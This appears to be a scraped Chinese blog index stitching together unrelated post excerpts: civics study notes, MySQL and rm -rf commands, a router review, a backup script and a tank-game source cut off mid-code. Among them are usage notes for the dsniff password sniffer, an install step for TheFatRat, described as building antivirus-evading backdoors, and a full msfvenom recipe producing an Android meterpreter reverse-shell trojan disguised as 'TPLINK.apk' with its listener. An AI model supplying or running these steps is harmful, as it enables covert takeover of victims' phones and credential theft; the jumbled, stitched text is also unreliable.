3.情感的种类:①基础性情感:如安全感。②高级情感:如道德感。③正面的体验:爱的情感。④负面的体验:如恐惧感。⑤两方混杂的体验:如敬畏感。 4.美好情感的作用:生活中美好的人和事物,让我们身心愉悦,逐渐丰富我们对生活、对人生的美好情感。这些情感表达着我们的愿望,促进我们的精神发展。 5.获得或体味到美好情感的途径: ①情由心生,美好的情感是在人的社会交往、互动中自然引发的,不能强迫。②我们可以通过阅读、与人交往、参与有意义的社会活动等方式获得美好的情感。 6.负面情感的意义: ①生活中某些负面的情感体验尽管不那么美好,但对于我们的成长也有意义。它可以丰富我们的人生阅历,使我们的生命变得更加饱满丰盈。②学会承受一些负面感受,善于将负面情感转变为成长的助力,也可以让我们从中获得美好的情感体验,不断成长。 7.传递情感正能量的方法: ①用自己的热情和行动来影响环境。②我们的情感需要表达、回应,需要共鸣。在与他人的情感交流中,我们可以传递美好的情感,传递生命的正能量。③在生活中不断创造美好的情感体验,在传递情感的过程中不断获得新的感受,使我们的生命更有力量,周围的世界也因为我们的积极情感多一份美好。 第六课 “我”和“我们”1.怎样感受集体的温暖: ①在集体中,我们希望被认可和接纳,得到尊重和理解,获得安全感和归属感。②当集体取得成绩、 受到表彰或奖励时, 我们可以体验到集体荣誉感。 这种荣誉感令我们骄傲、 自豪,给我们温暖和力量,激励我们不断前进。 2.集体力量的来源于成员共同的目标和团结协作。 3. 集体力量与个人力量的关系: 个人的力量是分散的,但在集体中汇聚,就会变得强大;个人的力量是有限的,但通过优化组合可以实现优势互补,产生强大的合力。借助这种合力,我们得以完成许多单凭一己之力无法完成的事情。 4.集体力量的作用: 集体的力量是强大的,在某种程度上可以影响甚至改变一个人。个人在集体活动中会自觉不自觉地产生与集体要求相一致的态度和行为,有助于我们获得安全感和自信心;也有助于我们学习他人的经验,扩大视野,获得成长。 5.集体生活涵养的品格: ①集体生活可以培养我们负责任的态度和能力。②集体生活可以培养人际交往的基本态度和能力。 6 .集体生活的意义:集体生活为我们搭建起与他人、与周围世界交往的平台。在这个平台上,我们展示自己的个性,发展自己的个性,不断认识和完善自我。 7.在集体中发展个性的方法:①每个人的个性特点不同。包容他人的不同,学习他人的优点,有助于我们完善个性。②实现集体共同目标的过程,也为个人发展提供了条件和可能。 第七课 共奏和谐乐章1.个人意愿与集体规则的关系:①集体中,每个人都有自己的意愿,集体又必须有一些共同的规则。②当集体规则与我们的个人意愿一致,并且能够保障个人利益时,我们更乐于积极遵守和维护。 2.集体规则与个人意愿发生冲突的原因: (答案在书上找下) 1.如何处理个人意愿与集体规则 ( 要求 ) 的冲突?面对冲突,我们通常会让个人意愿服从集体的共同要求。 2.让集体和声更美的做法: ①需要每个人尽力做好自己,遵守规则,以保持和声的和谐之美。②对于集体要求中存在的不合理因素,我们要通过恰当的方式表达自己的意见,提出积极的改进建议。 5.怎样认识和处理个人利益与集体利益的关系? ①在集体中,个人利益与集体利益本质上是一致的。当个人利益与集体利益发生冲突时,应把集体利益放在个人利益之上,坚持集体主义。②坚持集体主义,不是不关注个人利益,而是在承认个人利益的合理性、保护个人正当利益的前提下,反对只顾自己、不顾他人的极端个人主义。 6.在集体生活中应怎样处理与他人的关系?我们要过集体生活,就需要学会处理与他人的各种关系,当遇到矛盾和冲突时,我们要慎重考虑,冷静选择适当的处理方式。无论个人之间有多大的矛盾和冲突,我们都应心中有集体,识大体、顾大局,不得因个人之间的矛盾做有损集体利益的事情。 7.个人节奏与集体旋律之间的关系:①当自己的节奏和集体的旋律和谐时,我们就可以顺利地融入集体。②当自己的节奏和集体的旋律存在差异时,我们要调整自己的节奏, 。 8.怎样让自己更好地融入集体 ( 怎样排解角色冲突 )? ①在排解角色冲突带来的烦恼时,我们通常会考虑自己更关注哪个集体,或在其中的角色和责任的重要性,也会考虑自己的兴趣、爱好以及任务的紧迫程度等。②当遇到不同集体之间的矛盾时,应从整体利益出发,自觉地让局部利益服从整体利益,个人利益服从集体利益。 9.小群体的消极作用: ①当小群体不能很好地融入集体生活时,我们就会产生与小群体外的其他同学的矛盾和冲突,甚至与集体的共同要求产生矛盾和冲突。 ②小群体内成员之间的友谊如果沾染上江湖义气,这样的小群体往往会将自身利益置于集体利益之上,沦为小团体主义。 10.怎样正确对待小群体: 明辨是非,坚持正确的行为,坚持集体主义,反对小团体主义。 第八课 美好集体有我在1.集体愿景的含义及重要性。 含义:美好集体拥有共同的梦想,向往美好的前景,承担共同的使命,认同正确的价值观,形成一致的目标和追求,这就是集体的愿景。 作用:愿景是集体的精神动力之源,是推动集体发展的内驱力。共同的愿景引领集体成员团结一致,开拓进取。 2.美好集体对我们成长的意义: 在美好集体中, 每个人都能在其中获得丰富的精神养料, 拥有充实的精神生活,感受集体的关爱和吸引,凝聚拼搏向上的力量,坚定自己的生活信念。 3.美好集体的特点。(重点) ①美好集体是民主的、公正的。②美好集体是充满关怀与友爱的。③美好集体是善于合作的。在美好集体中,我们分工协作,优势互补,相互帮助,共同进步,充分发展各自的能力。合作意味着每个人都发挥自己最大的作用,同时又避免个人英雄主义。④美好集体是充满活力的。 4. 怎样看待集体中的竞争: 集体成员之间相互激励和竞争是集体发展的动力, 也是集体活力的重要表现。在集体生活中,竞争是以承认、尊重为前提的,集体成员之间交流互鉴,合作学习,共同提高。 5.怎样建设美好集体?①集体建设有赖于每个成员的自觉愿望和自主行动,需要我们自主建设、自我管理。②共同确定愿景和目标。③民主制定规则,自觉遵守规则。④共同创造良好的集体氛围。 6.怎样真正成为集体的主人 ?( 在担当中成长的表现 ) ①集体的建设需要每个人的智慧和力量。集体的事务需要每个人去分担,事事都要有人做;集体中没有旁观者,人人都要积极参与,每个人都是集体的主人。②为集体出力,需要每个人从实际情况出发,各尽其能,发挥所长。③集体荣誉是我们共同的利益和荣誉,需要我们悉心呵护。④勇于担责,体现在实际行动中,落实于具体的事情里。 7. 在担当中成长的意义:①承担责任既是个人有所成就的基础,也是集体发展的必要前提。②勇于担责也可以为自己赢得信任,被赋予更大的责任,从而拥有更多发展的机会。 第九课 法律在我们身边1. 为什么说生活与法律息息相关? ①法律就在我们身边, 。我们在生活中形成的各种社会关系, 以及由此产生的矛盾和纠纷, 不仅需要依靠道德、亲情、友情来协调,而且需要法律来调整。每一部法律都是应生活的需要而制定和颁布,又对生活加以规范和调整。②作为社会关系的调节器,法律不仅服务于人们的当前生活,而且指导着人们未来的生活。③法律规定的权利和义务为我们每个人提供了自由生存和发展的空间。 2.法律的产生 :原始社会没有法律,人类用习惯来约束自己的行为,这些习惯靠人们自觉自愿遵守。国家产生之后,统治阶级开始有意识地创制法律。 3.法律的含义: 法律是统治阶级意志的体现, 是用来统治国家、管理社会的工具, 也是调整社会关系、判断是非曲直、处理矛盾和纠纷的标尺。 4.法治的含义和作用 含义:法治就是依法对国家和社会事务进行治理,强调依法治国、法律至上。 作用:①法治是人们共同的生活方式,也是国家治理现代化的重要标志。②法治助推中国梦的实现,是实现政治清明、社会公平、民心稳定、国家长治久安的必由之路。 5.依法治国的总目标 : 党的十八届四中全会提出了全面推进依法治国的总目标,即建设中国特色社会主义**法治体系**,建设社会主义**法治国家**。 6.道德、法律等行为规范的作用:它们共同约束人们的行为,调整社会关系,维护社会秩序。 7.法律的特征。 ①是由国家制定或认可的。 (创制法律的两种基本形式)②法律是由国家强制力保证实施的。(这是法律区别于道德等行为规范的最主要特征)③法律对全体社会成员具有普遍约束力。 8.法律的作用。①法律规范着全体社会成员的行为,保护着我们的生活,为我们的成长和发展创造安全、健康、有序的社会环境。②法律规定我们享有的权利,应该履行的义务。法律也为我们评判、预测自己和他人的行为提供了准绳,指引、教育人向善。③法律维护我们的合法权益,是我们的保护神。 第十课 法律伴我们成长1.未成年人含义:在我国,未成年人是指未满十八周岁的公民。 2.未成年人需要特殊保护的原因: ①未成年人身心发育尚不成熟,自我保护能力较弱,辨别是非能力和自我控制能力不强,容易受到不良因素的影响和不法侵害,需要给予特殊的保护。②未成年人的生存和发展事关人类的未来,保护未成年人的合法权益,是人类文明和社会进步的应有之义。 3.对未成年人实施特殊保护的法律: 《宪法》 《婚姻法》、《义务教育法》、《未成年人保护法》、《预防未成年人犯罪法》等。 4.保护未成年人合法权益的四道防线: 保护未成年人, 是全身会共同的责任。家庭保护、 学校保护、社会保护和司法保护,是保护未成年人合法权益的四道防线。 5.未成年人在享受特殊保护的同时,要注意的问题:未成年人要珍惜自己的权利,依法行使自己的权利,同时要尊重和维护他人的权利,自觉履行公民应尽的义务。 6.怎样依法办事 ( 依法办事的要求 )? ①遵守各种法律法规。遇到问题需要解决,应当通过法治方式,表达自身合法的诉求和愿望。在实现自身利益的过程中,自觉维护他人和集体的合法权益。 ②养成学法尊法守法用法的习惯, 逐步成长为社会主义法治的忠实崇尚者、 自觉遵守者、坚定捍卫者。 7.树立法律信仰的原因:建设法治中国是中国人民的共同事业,人民既是法治的践行者,又是法治的受益者。法律的权威源自人民的内心拥护和真诚信仰。当法律真正成为人们的信仰时,才会充分体现自身的价值,发挥其应有的功能。 8.怎样树立法律信仰 ( 要求 )? 树立法律信仰,就是发自内心地尊崇法律、信赖法律、遵守法律和捍卫法律。 9.道德的重要性:法治时代,并不否认道德的重要性。人们道德水平的提高,有利于增强尊法守法的意识和自觉性,有利于促进法治生活方式的形成。 10 青少年健康成长的基本要求:青少年要增强法治意识,依法办事,成为法治中国建设的参与者和推动者。
  17. 代码<!--富强--> <script type="text/javascript"> /* 鼠标特效 */ var a_idx = 0; jQuery(document).ready(function($) { $("body").click(function(e) { var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正" ,"法治", "爱国", "敬业", "诚信", "友善"); var $i = $("<span/>").text(a[a_idx]); a_idx = (a_idx + 1) % a.length; var x = e.pageX, y = e.pageY; $i.css({ "z-index": 999, "top": y - 20, "left": x, "position": "absolute", "font-weight": "bold", "color": "#ff6651" }); $("body").append($i); $i.animate({ "top": y - 180, "opacity": 0 }, 1500, function() { $i.remove(); }); }); }); </script> <!--edn--富强-->
  18. 登录数据库mysql -u root -p显示数据库show databases;选择数据库use dbname;显示数据库中的表show tables;新建数据库create database dbname;删除数据库dorp database dbname;显示表结构desc dbname;查询数据库selcet *from dbname;
  19. 前不久刚入手魅族路由器一台,今天让我们从其外观,功能等方面进行一次简单的测评。说说快递,顺丰快递。下单后两天就到货,很快! 恩,开箱(双手已饥渴难耐) 包装还可以…… 爆爆菊花 支持USB接口,两个wlan口,支持充电宝供电(适合没电的时候用) 插入网线,进行配置 配置过程可以在浏览器中输入192.168.232.1或者下载APP直接配置。 APP首页 插件列表 里面插件比较多,我就不再一一的说明 了。这里给大家演示下迅雷下载加速插件。 在正常情况下,(没有迅雷会员)下载速度 基本在2M左右,这个只是一个简单的测评,没有那么专业。只是和平时的下载速度相比较。 在接口处 插入U盘或者移动硬盘,我们可以查看U盘中的文件。当然也可以将远程文件下载到我们的U盘中。
  20. linux删除文件夹命令 在用Linux的时分,有时分要删除一个文件夹,常常会提示次此文件非空,没法删除,这个时候,必需运用rm -rf命令。关于一些小白用户常常在运用Linux命令,会十分当心,以免搞出一些事情,下面小编将教细致教大家如何运用linux命令删除文件夹,需求的请珍藏。 linux删除文件夹命令 linux删除文件夹命令实例: rm -rf /var/log/httpd/access将会删除/var/log/httpd/access目录以及其下所有文件、文件夹 linux删除文件夹命令 linux删除文件命令实例: rm -f /var/log/httpd/access.log将会强制删除/var/log/httpd/access.log这个文件 -r 是向下递归,不管有多少级目录,一并删除 -f 是直接强行删除,不作任何提示的意思 -i 进行交互式删除。 提示:运用rm命令要当心。由于一旦文件被删除,它是不能被恢复的。了避免这种状况的发作,能够运用i选项来逐一确认要删除的文件。假如用户输入y,文件将被删除。假如输入任何其他东西,文件则不会删除。 运用这个rm -rf删除文件的时分一定要格外当心,linux没有回收站的。
  21. dsniffdsniff 是一个密码侦测工具,他能够自动分析端口上收到的某些协议的数据包,并获取相应的密码。 dnisff 支持的协议有 FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL。 dsniff 使用dsniff [-c] [-d] [-m] [-n] [expression] 注意:这里所有的 expression 都是代表 TCPDUMP 的表达式,指定对哪些数 据包进行攻击 urlsnarfurlsnarf可以嗅探 HTTP 请求报文的内容,并以 CLF (Common Log Format)通用日志格式 输出 使用 urlsnarf[-n] [-i interface] [[-v] pattern[expression]] webspywebspy 指定一个要嗅探的主机,如果指定主机发送 HTTP 请求,打开网页,webspy 也会通 过 netscape 浏览器在本地打开一个相同的网页 webspy[-i interface]host host 指定要嗅探的主机 tcpkilltcpkill 能够切断指定的 TCP 会话连接,主要是基于 TCP 的三次握手过程 使用 tcpkill[-i interface]
  22. 前言平时自己比较赖,论坛和博客平时都需要维护。比如数据库备份,那么在平时的工作中怎么高效的完成数据库备份任务呢? 废话不在多说,上源码。 源码#! /bin/ sj=`date +%Y%m%d%H%M%S` read -p "要备份的数据库名:" sql mysqldump -u root -p $sql >/root/bf/数据库$sql备份`date +%Y%m%d%H%M%S`.sql echo "备份时间:$sj" >> /root/bf/log.txt。 echo "恭喜!数据库以备份"使用说明先在root目录下新建个bf文件夹将文件保存为sql.sh给脚本给与权限chmod -R 777 sql.sh终端命令./sql.sh输入要备份的数据库名称即可开始备份log.txt用来记录备份的日志。
  23. 一:简介一个简单的工具来生成后门和简单的工具来开发攻击像浏览器攻击,dll。这个工具编译与流行的恶意软件的有效载荷,然后可以执行编译的恶意软件在windows上,android,mac。使用此工具创建的恶意软件也有一个能力绕过大部分杀毒软件保护。 安装git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat chmod +x setup.sh && ./setup.sh视频演示
  24. 一:生成木马msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5555 R > TPLINK.apk二:监听木马msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.0.108 set LPORT 5555 exploit三:视频演示
  25. 一:坦克大战源码 import java.util.ArrayList; import java.awt.*; import java.awt.event.*; import java.util.List; import javax.swing.JOptionPane; public class TankClient extends Frame implements ActionListener { /** * */ private static final long serialVersionUID = 1L; public static final int Fram_width = 800; // public static final int Fram_length = 600; public static boolean printable = true; MenuBar jmb = null; Menu jm1 = null, jm2 = null, jm3 = null, jm4 = null; MenuItem jmi1 = null, jmi2 = null, jmi3 = null, jmi4 = null, jmi5 = null, jmi6 = null, jmi7 = null, jmi8 = null, jmi9 = null; Image screenImage = null; Tank homeTank = new Tank(300, 560, true, Direction.STOP, this);// GetBlood blood = new GetBlood(); Home home = new Home(373, 545, this); List<River> theRiver = new ArrayList<River>(); List<Tank> tanks = new ArrayList<Tank>(); List<BombTank> bombTanks = new ArrayList<BombTank>(); List<Bullets> bullets = new ArrayList<Bullets>(); List<Tree> trees = new ArrayList<Tree>(); List<CommonWall> homeWall = new ArrayList<CommonWall>(); List<CommonWall> otherWall = new ArrayList<CommonWall>(); List<MetalWall> metalWall = new ArrayList<MetalWall>(); public void update(Graphics g) { screenImage = this.createImage(Fram_width, Fram_length); Graphics gps = screenImage.getGraphics(); Color c = gps.getColor(); gps.setColor(Color.GRAY); gps.fillRect(0, 0, Fram_width, Fram_length); gps.setColor(c); framPaint(gps); g.drawImage(screenImage, 0, 0, null); } public void framPaint(Graphics g) { Color c = g.getColor(); g.setColor(Color.green); Font f1 = g.getFont(); g.setFont(new Font("TimesRoman", Font.BOLD, 20)); g.drawString("最高分: ", 200, 70); g.setFont(new Font("TimesRoman", Font.ITALIC, 30)); g.drawString("" + tanks.size(), 400, 70); g.setFont(new Font("TimesRoman", Font.BOLD, 20)); g.drawString("得分ֵ: ", 500, 70); g.setFont(new Font("TimesRoman", Font.ITALIC, 30)); g.drawString("" + homeTank.getLife(), 650, 70); g.setFont(f1); if (tanks.size() == 0 && home.isLive() && homeTank.isLive()) { Font f = g.getFont(); g.setFont(new Font("TimesRoman", Font.BOLD, 60)); this.otherWall.clear(); g.drawString(" ", 310, 300); g.setFont(f); } if (homeTank.isLive() == false) { Font f = g.getFont(); g.setFont(new Font("TimesRoman", Font.BOLD, 40)); tanks.clear(); bullets.clear(); g.setFont(f); } g.setColor(c); for (int i = 0; i < theRiver.size(); i++) { River r = theRiver.get(i); r.draw(g); } for (int i = 0; i < theRiver.size(); i++) { River r = theRiver.get(i); homeTank.collideRiver(r); r.draw(g); } home.draw(g); homeTank.draw(g); homeTank.eat(blood); for (int i = 0; i < bullets.size(); i++) { Bullets m = bullets.get(i); m.hitTanks(tanks); m.hitTank(homeTank);